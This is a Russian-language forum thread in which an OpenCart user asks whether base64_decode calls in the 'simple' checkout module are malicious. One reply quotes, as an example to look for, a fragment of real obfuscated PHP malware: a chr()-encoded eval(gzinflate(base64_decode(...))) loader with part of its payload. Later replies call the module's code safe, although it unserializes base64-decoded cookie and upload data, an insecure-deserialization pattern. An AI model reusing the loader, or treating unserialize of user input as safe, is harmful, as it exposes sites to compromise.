Добрый день! В simple-3.8.3 в двух файлах simple.php и simplecheckout_customer.php есть строки с кодом (base64_decode). Я знаю, что так иногда могут кодировать вредоносный код или скрытые ссылки. Есть ли этот код в ваших экземплярах модуля и является ли это действительно опасным? Опыта нет, сам оценить и декодировать не могу. Прошу помочь разобраться! Благодарю за помощь! PHP: private function load_cookies() { if ($this->config->get('simple_use_cookies') && isset($this->request->cookie['simple'])) { $this->cookies = unserialize(base64_decode($this->request->cookie['simple'])); } } И в другом: PHP: public function install() { $this->load->model('setting/setting'); $this->load->model('setting/store'); $stores = $this->model_setting_store->getStores(); $stores[] = array('store_id' => 0, 'name' => 'default'); $settings = unserialize(base64_decode($this->default_settings)); foreach ($stores as $key => $value) { $this->model_setting_setting->editSetting('simple', $settings, $value['store_id']); } $this->create_tables(); } if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) { $this->create_tables(); if (is_uploaded_file($this->request->files['import']['tmp_name'])) { $content = file_get_contents($this->request->files['import']['tmp_name']); $tmp = unserialize(base64_decode($content)); if (is_array($tmp)) { $this->request->post = $tmp; } } private function init_field($field_name, $default_value = '') { if (empty($this->settings)) { $this->settings = $this->model_setting_setting->getSetting('simple',$this->data['store_id']); if (empty($this->settings)) { $this->settings = unserialize(base64_decode($this->default_settings)); } }
Поискать в файлах. Его сразу заметно. У меня, когда инфицировали сайт, в одном из php файлов лежал зашифрованный вирус. Вот его кусок: Код: preg_replace("/.*/".'e',chr(101).chr(118).chr(97).chr(108).chr(40).chr(103).chr(122).chr(105).chr(110).chr(102).chr(108).chr(97).chr(116).chr(101).chr(40).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(39)."7X1re9pG0/Dn5lesVVpBgzHgpHcKBtvxIXHi2KkPOdl5qBACVAtEJWHsuP7v78zsrrQrCYzT3u/hut7ezxOj3ZnZ2fPs7MxswfY9P2AtZvzY6z83mqzQc/rW1Is6lh25/hhyzH3Xc8J31thUcqeh07H+tG4gPwqmjpJjD60gdCJE/OiOe/4sXK3Vn9cA2e0XV5zRJLotFjqneycf9k4uzNdnZ+875/DV2X61d3Rmfi2V2B0rAPlge+CMoxDoWEFg3RaNV74/8ByjzIxTbxpM8Me706OXfoS/XKtjBfbQvXYC/PxsjXvODf46sUZdDxJLVP4kcAadkRXZw6K5ZrIKc0cTz+85RfNvs6wWW4I8c83FxAd4HTpWzwmKlLtWq1TZs+ozduRHbN+fjnsmlOvcuFGT3cP/t Поищите что-нибудь подобное.
Я на глаз не могу различить, да и вирусы и подобная ерунда не обязаны выглядеть одинаково с вашими. Вот нашёл пару мест: $simple_common_template = preg_replace('/\[\[[-_a-zA-Z0-9.]+\]\]/si', '', $simple_common_template); $this->data['summary_shipping_address'] = trim(str_replace(array("\r\n", "\r", "\n"), '<br />', preg_replace(array("/\s\s+/", "/\r\r+/", "/\n\n+/"), '<br />', trim(str_replace($find, $replace, $format))))); Ребята, у кого стоит simple! Посмотрите, пожалуйста, у себя есть ли в файлах " base64_decode"! Если нет, то тут и гадать нечего, а если у всех есть - то, видимо, так построен модуль.
По коду же видно, что это декодирование кукисов, имени загружаемого файла и настроек, соответственно. Когда base64_decode используют для обработки вредоносного кода, он, во-первых, обычно вписан прямо тут же, а во-вторых, далее подставляется в eval!